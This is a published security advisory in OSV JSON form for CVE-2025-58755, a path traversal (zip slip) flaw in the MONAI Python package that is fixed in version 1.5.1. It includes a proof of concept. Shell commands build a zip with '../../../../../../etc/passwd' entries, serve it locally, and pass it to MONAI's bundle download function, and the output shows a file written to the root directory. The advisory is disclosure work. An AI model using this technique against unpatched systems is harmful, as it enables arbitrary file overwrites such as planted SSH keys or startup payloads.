CVE-2025-58755: Monai Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x6ww-pf9m-m73m",
  "modified" : "2026-06-06T14:42:50Z",
  "published" : "2025-09-09T21:19:22Z",
  "aliases" : [ "CVE-2025-58755" ],
  "summary" : "MONAI does not prevent path traversal, potentially leading to arbitrary file writes",
  "details" : "### Summary\nThe extractall function ```zip_file.extractall(output_dir)``` is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.\n\nWhen reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo \"malicious content\" > test_bundle/malicious.txt \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle  \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd\n  adding: malicious.txt (stored 0%)\n  adding: ../../../../../../etc/passwd (deflated 64%)\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls\nmalicious.zip  p1.py  p2.py  r1.py  test_bundle\n```\nThen start the http service through python\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000\nServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...\n```\nAnother terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c \"from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')\"\n2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---\n2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'\n2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'\n2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'\n2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'\n2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'\n2025-08-11 20:49:01,668 - INFO - > progress: True\n2025-08-11 20:49:01,668 - INFO - ---\n\n\ntest_bundle.zip: 8.00kB [00:00, 204kB/s]\n2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip\n2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.\n2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.\n2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /\nautodl-pub  cuda-keyring_1.0-1_all.deb  home  lib32   **malicious.txt**  opt   run   sys  var\nbin         dev                         init  lib64   media          proc  sbin  tmp\nboot        etc                         lib   libx32  mnt            root  srv   usr\n```\nWe can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file.\nIf the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.\n\n### Impact\nArbitrary file write\n\n### Repair Suggestions\nCheck the contents of the downloaded Zip file, or use a safer method to load it",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "monai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-x6ww-pf9m-m73m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-58755"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/pull/8568"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/commit/946cfdff096d8b1d289063f06a04cae3fa3559d9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Project-MONAI/MONAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-140.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-09T21:19:22Z",
    "nvd_published_at" : "2025-09-09T00:15:32Z"
  }
}